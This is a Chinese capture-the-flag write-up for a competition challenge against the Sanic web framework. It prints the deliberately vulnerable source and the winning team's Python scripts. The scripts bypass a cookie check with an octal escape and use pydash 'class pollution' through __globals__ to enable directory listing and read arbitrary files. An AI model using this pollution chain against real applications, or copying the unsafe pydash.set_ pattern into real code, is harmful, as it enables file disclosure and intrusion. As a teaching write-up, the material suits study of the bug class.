WP | Python原型链污染赛题Sanic解析

admin 2024年6月17日08:25:16评论5 views字数 5349阅读17分49秒阅读模式

WP | Python原型链污染赛题Sanic解析

出题思路

作者:12SqweR@GAMELAB
在第十七届全国大学生信息安全竞赛—创新实践能力赛初赛中,出了一道Sanic题目,该题的灵感源自于2023年度“十大Web黑客技术”提名活动中提到的Python原型链污染问题https://portswigger.net/research/top-10-web-hacking-techniques-of-2023-nominations-open),该漏洞的利用与Python语言特有的类继承机制紧密相关。
在以往的考题中,结合类继承机制的题目主要集中在模板注入和Python沙箱逃逸(pyjail)上。目前,网络上已经有关于一些流行框架的原型污染利用方法。为了增加新颖性,我们选择了在CTF竞赛中较少出现的Sanic框架作为挖掘污染链的基础,挑战的关键在于利用Sanic框架的静态文件目录列举功能,实现对目录的列举和文件的读取。

一血队伍解法

作者:CNSS-Hurrison

扫描路径发现 /src , 访问得到源码
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2

class Pollute:
def __init__(self):
pass

app = Sanic(__name__)
app.static("/static/""./static/")
Session(app)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())

@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")

@app.route("/src")
async def src(request):
return text(open(__file__).read())

@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")

if __name__ == '__main__':
app.run(host='0.0.0.0')

 

cookie 里面有个 ;  直接传会被截断,一眼考的 RFC2068 的编码规则
Many HTTP/1.1 header field values consist of words separated by LWS
or special characters. These special characters MUST be in a quoted
string to be used within a parameter value.

These quoting routines conform to the RFC2109 specification, which in
turn references the character definitions from RFC2068.  They provide
a two-way quoting algorithm.  Any non-text character is translated
into a 4 character sequence: a forward-slash followed by the
three-digit octal equivalent of the character.  Any '' or '"' is
quoted with a preceeding '' slash.

Check for special sequences.  Examples:
�12 --> n
"   --> "

登录拿到 admin
import requests

base = ''

s = requests.Session()

s.cookies.update({
'user''"adm\073n"'
})

s.get(base + '/login')

pydash 标了版本,存在 python “原型链” 污染,分析源码得到 path 解析逻辑 pydash/utilities.py:1262
def to_path_tokens(value):
    """Parse `value` into :class:`PathToken` objects."""
    if pyd.is_string(value) and ("." in value or "[" in value):
        # Since we can't tell whether a bare number is supposed to be dict key or a list index, we
        # support a special syntax where any string-integer surrounded by brackets is treated as a
        # list index and converted to an integer.
        keys = [
            PathToken(int(key[1:-1]), default_factory=list)
            if RE_PATH_LIST_INDEX.match(key)
            else PathToken(unescape_path_key(key), default_factory=dict)
            for key in filter(None, RE_PATH_KEY_DELIM.split(value))
        ]
    elif pyd.is_string(value) or pyd.is_number(value):
        keys = [PathToken(value, default_factory=dict)]
    elif value is UNSET:
        keys = []
    else:
        keys = value

return keys

提取出 RE_PATH_KEY_DELIM 正则表达式分析,结合题目过滤的 _.
(?<!\)(?:\\)*.|([d+])
发现 \. 会当作 .  进行处理,可以绕过题目的过滤,而 . 会作为 . 的转义不进行分割。接下来挖掘可污染变量,注意到注册的 static 路由会添加 DirectoryHandler 到 route
app.static("/static/""./static/")
directory_handler = DirectoryHandler(
    uri=uri,
    directory=file_or_directory,
    directory_view=directory_view,
    index=index,
)
如果将 directory_view 污染为 True , directory 污染为根目录即可列出根目录文件,猜测 flag 在根目录下。
接下来分析污染方法,注意 pydash 只能处理 listobjdict 而不能处理 tupleset 等对象,在分析时需要排除。
if isinstance(obj, dict):
    if allow_override or key not in obj:
        obj[key] = value
elif isinstance(obj, list):
    key = int(key)

if key < len(obj):
if allow_override:
obj[key] = value
else:
if key > len(obj):
# Pad list object with None values up to the index key so we can append the value
# into the key index.
obj[:] = (obj + [None] * key)[:key]
obj.append(value)
elif (allow_override or not hasattr(obj, key)) and obj is not None:
setattr(obj, key, value)

发现通过 app.router.name_index['__mp_main__.static'] 可以访问到 DirectoryHandler ,key 里面有个 . 。根据之前分析的正则可以使用 . 转义。DirectoryHandlerdirectoryPath 对象(这个 class 实现似乎和平台相关),分析发现污染 __parts 为分割的路径列表即可。
@classmethod
def _from_parts(cls, args, init=True):
    # We need to call _parse_args on the instance, so as to get the
    # right flavour.
    self = object.__new__(cls)
    drv, root, parts = self._parse_args(args)
    self._drv = drv
    self._root = root
    self._parts = parts
    if init:
        self._init()
    return self
那么可以得到污染 DirectoryHandler 的 exp
import requests

base = ''

s = requests.Session()

s.cookies.update({
'user''"adm\073n"'
})

s.get(base + '/login')

# 开启目录浏览
data = {"key""__class__\\.__init__\\.__globals__\\.app.router.name_index.__mp_main__.static.handler.keywords.directory_handler.directory_view""value"True}

# 污染目录路径
# data = {"key": "__class__\\.__init__\\.__globals__\\.app.router.name_index.__mp_main__.static.handler.keywords.directory_handler.directory._parts", "value": ['/']}

r = s.post(base + '/admin', json=data)

print(r.text)

访问 /static/ 得到 flag 文件名 24bcbd0192e591d6ded1_flag,最后污染 __file__/24bcbd0192e591d6ded1_flag访问 /src 得到 flag
data = {"key""__class__\\.__init__\\.__globals__\\.__file__""value""/24bcbd0192e591d6ded1_flag"}

r = s.post(base + '/admin', json=data)

print(r.text)

print(s.get(base + '/src').text)

 

+ + + + + + + + + + + 

原文始发于微信公众号(春秋伽玛):WP | Python原型链污染赛题Sanic解析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月17日08:25:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WP | Python原型链污染赛题Sanic解析https://cn-sec.com/archives/2849002.html

发表评论

匿名网友 填写信息